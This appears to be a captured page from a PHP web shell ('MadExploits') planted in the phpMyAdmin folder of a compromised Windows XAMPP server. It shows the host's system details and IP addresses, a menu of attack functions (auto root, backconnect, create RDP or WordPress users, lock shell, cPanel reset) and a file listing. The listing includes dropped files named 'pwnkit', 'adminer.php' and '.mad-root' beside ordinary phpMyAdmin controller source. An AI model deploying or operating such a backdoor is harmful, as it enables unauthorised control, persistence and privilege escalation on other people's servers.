Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.9
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
phpMyAdmin /
libraries /
classes /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
Config
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Export
[ DIR ]
drwxrwxrwx
Import
[ DIR ]
drwxrwxrwx
Preferences
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Sql
[ DIR ]
drwxrwxrwx
Table
[ DIR ]
drwxrwxrwx
Transformation
[ DIR ]
drwxrwxrwx
View
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
AbstractController.php
2.53
KB
-rw-rw-rw-
BrowseForeignersController.php
2.41
KB
-rw-rw-rw-
ChangeLogController.php
3.44
KB
-rw-rw-rw-
CheckRelationsController.php
2.25
KB
-rw-rw-rw-
CollationConnectionController....
809
B
-rw-rw-rw-
ColumnController.php
1.04
KB
-rw-rw-rw-
DatabaseController.php
275
B
-rw-rw-rw-
ErrorReportController.php
6.05
KB
-rw-rw-rw-
GisDataEditorController.php
5.09
KB
-rw-rw-rw-
GitInfoController.php
1.19
KB
-rw-rw-rw-
HomeController.php
17.05
KB
-rw-rw-rw-
JavaScriptMessagesController.p...
36.16
KB
-rw-rw-rw-
LicenseController.php
940
B
-rw-rw-rw-
LintController.php
1.73
KB
-rw-rw-rw-
LogoutController.php
421
B
-rw-rw-rw-
NavigationController.php
3.2
KB
-rw-rw-rw-
NormalizationController.php
5.54
KB
-rw-rw-rw-
PhpInfoController.php
685
B
-rw-rw-rw-
RecentTablesListController.php
426
B
-rw-rw-rw-
SchemaExportController.php
667
B
-rw-rw-rw-
TableController.php
820
B
-rw-rw-rw-
ThemeSetController.php
1.23
KB
-rw-rw-rw-
ThemesController.php
772
B
-rw-rw-rw-
UserPasswordController.php
3.3
KB
-rw-rw-rw-
VersionCheckController.php
1.2
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ErrorReportController.php
<?php /** * Handle error report submission */ declare(strict_types=1); namespace PhpMyAdmin\Controllers; use PhpMyAdmin\ErrorHandler; use PhpMyAdmin\ErrorReport; use PhpMyAdmin\Http\ServerRequest; use PhpMyAdmin\Message; use PhpMyAdmin\ResponseRenderer; use PhpMyAdmin\Template; use PhpMyAdmin\UserPreferences; use function __; use function count; use function in_array; use function is_string; use function json_decode; use function time; /** * Handle error report submission */ class ErrorReportController extends AbstractController { /** @var ErrorReport */ private $errorReport; /** @var ErrorHandler */ private $errorHandler; public function __construct( ResponseRenderer $response, Template $template, ErrorReport $errorReport, ErrorHandler $errorHandler ) { parent::__construct($response, $template); $this->errorReport = $errorReport; $this->errorHandler = $errorHandler; } public function __invoke(ServerRequest $request): void { global $cfg; /** @var string $exceptionType */ $exceptionType = $request->getParsedBodyParam('exception_type', ''); /** @var string|null $sendErrorReport */ $sendErrorReport = $request->getParsedBodyParam('send_error_report'); /** @var string|null $automatic */ $automatic = $request->getParsedBodyParam('automatic'); /** @var string|null $alwaysSend */ $alwaysSend = $request->getParsedBodyParam('always_send'); /** @var string|null $getSettings */ $getSettings = $request->getParsedBodyParam('get_settings'); if (! in_array($exceptionType, ['js', 'php'])) { return; } if ($sendErrorReport) { if ($exceptionType === 'php') { /** * Prevent infinite error submission. * Happens in case error submissions fails. * If reporting is done in some time interval, * just clear them & clear json data too. */ if ( isset($_SESSION['prev_error_subm_time'], $_SESSION['error_subm_count']) && $_SESSION['error_subm_count'] >= 3 && ($_SESSION['prev_error_subm_time'] - time()) <= 3000 ) { $_SESSION['error_subm_count'] = 0; $_SESSION['prev_errors'] = ''; $this->response->addJSON('stopErrorReportLoop', '1'); } else { $_SESSION['prev_error_subm_time'] = time(); $_SESSION['error_subm_count'] = isset($_SESSION['error_subm_count']) ? $_SESSION['error_subm_count'] + 1 : 0; } } $reportData = $this->errorReport->getData($exceptionType); // report if and only if there were 'actual' errors. if (count($reportData) > 0) { $server_response = $this->errorReport->send($reportData); if (! is_string($server_response)) { $success = false; } else { $decoded_response = json_decode($server_response, true); $success = ! empty($decoded_response) ? $decoded_response['success'] : false; } /* Message to show to the user */ if ($success) { if ($automatic === 'true' || $cfg['SendErrorReports'] === 'always') { $msg = __( 'An error has been detected and an error report has been ' . 'automatically submitted based on your settings.' ); } else { $msg = __('Thank you for submitting this report.'); } } else { $msg = __( 'An error has been detected and an error report has been generated but failed to be sent.' ); $msg .= ' '; $msg .= __('If you experience any problems please submit a bug report manually.'); } $msg .= ' ' . __('You may want to refresh the page.'); /* Create message object */ if ($success) { $msg = Message::notice($msg); } else { $msg = Message::error($msg); } /* Add message to response */ if ($this->response->isAjax()) { if ($exceptionType === 'js') { $this->response->addJSON('message', $msg); } else { $this->response->addJSON('errSubmitMsg', $msg); } } elseif ($exceptionType === 'php') { $jsCode = 'Functions.ajaxShowMessage(\'<div class="alert alert-danger" role="alert">' . $msg . '</div>\', false);'; $this->response->getFooter()->getScripts()->addCode($jsCode); } if ($exceptionType === 'php') { // clear previous errors & save new ones. $this->errorHandler->savePreviousErrors(); } /* Persist always send settings */ if ($alwaysSend === 'true') { $userPreferences = new UserPreferences(); $userPreferences->persistOption('SendErrorReports', 'always', 'ask'); } } } elseif ($getSettings) { $this->response->addJSON('report_setting', $cfg['SendErrorReports']); } elseif ($exceptionType === 'js') { $this->response->addJSON('report_modal', $this->errorReport->getEmptyModal()); $this->response->addHTML($this->errorReport->getForm()); } else { // clear previous errors & save new ones. $this->errorHandler->savePreviousErrors(); } } }
Close